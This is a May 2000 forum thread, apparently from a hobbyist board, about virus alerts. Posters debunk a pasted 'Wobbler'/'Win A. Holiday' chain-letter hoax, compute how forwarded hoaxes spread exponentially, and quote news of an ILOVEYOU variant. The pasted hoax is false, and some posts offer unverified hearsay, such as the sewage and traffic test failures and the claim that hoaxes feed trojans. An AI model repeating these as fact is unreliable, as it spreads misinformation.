I work for a company that does a fair amount of work with credit card charges, and due to a faulty update, over a period of roughly two weeks anyone who was charged suddenly found themselves being recharged on a daily basis until the company found the bug and stopped it.

As of now, I believe that they've finally fixed the problem and reversed the charges. However, it wasn't just us that got hit... The rough estimate that we heard was something in the neighborhood of 7-800,000 affected consumers.

There were other smaller problems as well, that were cleared before hand. During a test a few months before New Year's at a local Waste Management facility, a computer failed to register a real alarm during the test and dumped a few hundred gallons of raw sewage into a local drainage canal. I've also heard of a few cases of the traffic grid going briefly haywire during very late night tests that they ran in Loa Angeles.

As Amos more or less said, I feel we got off lucky.

09 May 00 - 03:21 PM (#225364)
Subject: RE: Tech: Despicable Virus Alert
From: katlaughing

Hey, would one of you *buffs* go over to the Paul G's new CD - MP3 thread and read what I posted about my computer shutting down when I tried to download files form MP3 and see what you think, PLEASE? I'd like to know if it is just me or something to do with MP3. Thanks, a bunch!

kat

09 May 00 - 03:50 PM (#225380)
Subject: RE: Tech: Despicable Virus Alert
From: GUEST,Nick Jones

Subject: FW: VIRUS ALERT Date: Wed, 26 Apr 2000 14:17:12 +0100 Subject: Virus Alert Importance: High I received this message today. Please forward it on. There is a new virus - WOBBLER. It will arrive on e-mail titled "CALIFORNIA". IBM and AOL have announced that it is very powerful, more so than Melissa, there is no remedy. It will eat all your information on the hard drive and also destroys Netscape Navigator and Microsoft Internet Explorer. Do not open anything with this title and please pass this message on to all your contacts and anyone who uses your e-mail facility. Not many people seem to know about this yet, so propagate it as fast as possible. If you receive an e-mail titled "Win A. Holiday", DO NOT open it. It will erase everything on your hard drive. Forward this letter out to as many people as you can. This is a new, very malicious virus and not many people know about it. This information was announced yesterday morning from Microsoft. Mike Johnson

09 May 00 - 03:53 PM (#225384)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

Wobbler is a known hoax.

Jon

09 May 00 - 04:01 PM (#225395)
Subject: RE: Tech: Despicable Virus Alert
From: MMario

So is "Win a Holiday". Also - you can be 99.99% sure it's a hoax if the message asks you to "send it to as many people as possible" or a variation on that.

09 May 00 - 04:52 PM (#225425)
Subject: RE: Tech: Despicable Virus Alert
From: Jeri

There's a very good place to check for hoaxes (BEFORE you e-mail all 700 people in your address book) here, at F-Secure Corporation. They also list chain letters. Folks, one rule of thumb is, it's a chain letter/hoax if it says to send it to everyone you know.

I was curious about how many people these things go to. I did the math. If each person who gets it sends it to 5 people, and the mailings only happen once per day, at the end of the 10th day, the message will have been sent a total of 2,441,405 times. I'm guessing in real life, these things have a much shorter turn-around time, and people mail them to more than 5 others. I guess I don't have to wonder why the internet gets so slow at times.

09 May 00 - 05:52 PM (#225463)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

Jeri, here is a puzzle for you. Put one grain of rice on the first square of a chess board, 2 on the next, 4 on the next (keep doubling). How many grains do you need to cover all the squares?

Jon

09 May 00 - 06:19 PM (#225476)
Subject: RE: Tech: Despicable Virus Alert
From: Jeri

Just a guess, but how's 73,786,976,294,838,200,000 sound?

09 May 00 - 06:35 PM (#225490)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

I dnon't know if my maths are right but this logic seems to follow: one square = 1 grain, 2 = 3 grains, 3=7 grains in totlal which in each case works out as (2^Sqares)-1. By that reckoning we are looking at 2 to the power 64 - 1 which I can't calculate exactly using Excel and my C compiler is being stubborn.

We had the same number of digits though. by my reckoning which may well be wrong, we are looking around 18,446,744,073,709,600,000

Jon

09 May 00 - 06:57 PM (#225504)
Subject: RE: Tech: Despicable Virus Alert
From: Jeri

Wanna see my spreadsheet?

09 May 00 - 07:05 PM (#225510)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

Yes but lets go email from here. Either way though, it is a good example of how a simple thing and small numbers turn into mind blowing numbers in very few steps. Which I think is imortant to remember with these virus warning things.

Jon

10 May 00 - 12:06 AM (#225614)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

Add to your calculations re these hoaxes the manpower factor if it takes an average hoaxee, say, seven minutes to open, read, absorb, react, and forward to his five friends the Email containing the hoax.

The next five people, assuming all are newbie-class, take the total up to 7 +(5x7)=42 minutes. The next wave, 42 + (7x25) = 197, or 3 hours and 17 minutes. Assuming (conservatively) 5 seconds actual relay time the ratio of linear time to wasted time after these three iterations is 21.25: 197. The wasted time, valued at a modest $15/hour for an adult professional amounts to $50 in the first 21 minutes. in the next 21 minutes this wastage multiplies: from 25 people to 125 to 625 to 3125 people. That's 3875 times 7 minutes, or 27125 minutes (452.083 hours) in the second set of three steps, valued at $6781additional. So in about 43 minutes the waste curve in terms of productive human time goes from $1.75 to $6832 cumulative waste.

Draw that curve on a chart and you can see why forwarding a hoax scare without checking it can grow to a hormongous loss to the productive community world-wide. Of course this is an idealized model, but the rate it reflects is about right.

10 May 00 - 12:32 AM (#225627)
Subject: RE: Tech: Despicable Virus Alert
From: katlaughing

Would one of you please respond to my question about Paul G's MP3 thread and linking? Please go try it and let us all know if it is just my computer or something at MP3?

Sheesh! Whadda I gotta do ta' get noticed around here amongst all them number-crunchers?!!!**BG**

T'anks!

kat

10 May 00 - 12:59 AM (#225637)
Subject: RE: Tech: Despicable Virus Alert
From: Escamillo

Sorry Kat I still didn´t have the time to download the files (pretty big), will try later.
Regarding hoaxes or false alerts or humanitarian requests, if someone did not see my post in another thread, I´d like to remind you that there is not only a huge loss in productive activity, there is also a more evil intention in hoaxers: in general, a long list of genuine addresses from your book gets included in your messages, as well as those being carried from previous posters, and those that the next generation will carry. These thousands of e-mails reach some PC where the hoaxers planted a TROJAN program, then it will collect them and send copies to their headquarters as soon as you connect to the Web (and of course it will never report to you what it is doing). Those lists are then sold to SPAMMERS like Aureate, Radiate and many, many others. Myself have received many offers for lists, from 80.00 to 200.00 . Please don´t redistribute anything that asks for redistribution, and don´t loose your time in checking if it is a hoax or not. I suspect those sites are not reliable.
Un abrazo - Andrés

10 May 00 - 01:06 AM (#225641)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

Kat -- I don't know what the bug is but at least part of it is at their end.

10 May 00 - 11:34 AM (#225842)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

From ZDNet, another blanketyblamk LoveBug variant -- damn Psychos. Orignal link is over here.

New 'ILOVEYOU' worm detected
There's a new worm based on "ILOVEYOU" (Loveletter.A). It's different enough that it has it's own name, "Friendmess.A." This new worm rewrites the Autoexec.bat file so that it deletes the Windows directory and the Windows/System and Windows/Temp subdirectories. While the "Friend Message" worm does not spread through IRC chat rooms, it does use MS Outlook address books. Full Story -- Robert Vamosi, ZDNet Help & How To